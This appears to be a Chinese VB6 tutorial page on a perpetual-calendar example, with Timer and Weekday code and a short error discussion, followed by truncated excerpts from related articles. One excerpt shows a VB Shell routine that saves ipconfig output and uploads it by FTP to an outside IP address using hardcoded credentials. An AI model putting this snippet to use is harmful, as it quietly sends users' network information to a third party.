VB实例 —万年历 (3)
原来的错误是：Timer1的Enabled属性设为True。
代码错误是：
Private Sub Timer1_Timer()
Dim c As Date
c = Time
lbl3.Caption = CStr(c)
End Sub
————————————————————
Private Sub cmd1_Click()
Dim a, b
b = Val(txt1.Text)
a = Weekday(b)
Select Case a
Case 1
lbl2.Caption = "星期日"
Case 2
lbl2.Caption = "星期一"
Case 3
lbl2.Caption = "星期二"
Case 4
lbl2.Caption = "星期三"
Case 5
lbl2.Caption = "星期四"
Case 6
lbl2.Caption = "星期五"
Case 7
lbl2.Caption = "星期六"
End Select
End Sub
错误效果是：打开窗体，即显示：
无输入或输入错误格式，点击cmd1，有错误显示：
输入正确格式的年月日，显示正确的星期：
需深入理解的知识点是：
1、Exit 的使用。
2、MsgBox的使用方法。
相关文档：
ftp.txt文件内容为：
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为：
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
Option Explicit
'==================================================
' 函数: ReturnSM
'
' 功能: 返回字符串中没个字符的拼音声母第一个字母
'
' 注意: 该函数只能处理3755个常用汉字(B0 - D7)
' 若超出函数的范围将返回常数 ERR_RESULT$
'
' 入口: Str 待处理的字符串
'
Public Function ReturnSM$(ByVal S ......
·定义完善的变量具有明确规定的数据类型和作用域
·要正确使用变量，必须使用表义性强的变量名来说明这些变量，并且必须为它们赋予焦点
·编程原则
·定义有焦点的变量（服务于一个定义明确的目的）
·为变量赋予表义性强的名字
......
·界面设计必须保持一致
·两个程序之间的特性具备共性
·和windows应用程序的快捷键是一致的
·编程原则
·为窗体赋予统一的外观和行为特性
·如果窗体的大小改变时，它不改变其内容的大小，那么边框就不� ......
◆请由此确定是否被恶意修改◆
作者：我心飞翔
VB中引入本DLL的方法
方法一：选择“工程(P)”菜单下的“引用(N)”，在出现的对话框中点“浏览按钮”，并找到DLL所在位置。
方法二：分两步走
(1)注册动态链接库，使用regsvr32命令。在运行对话框中，输入“regsvr32 DLL完整路 ......
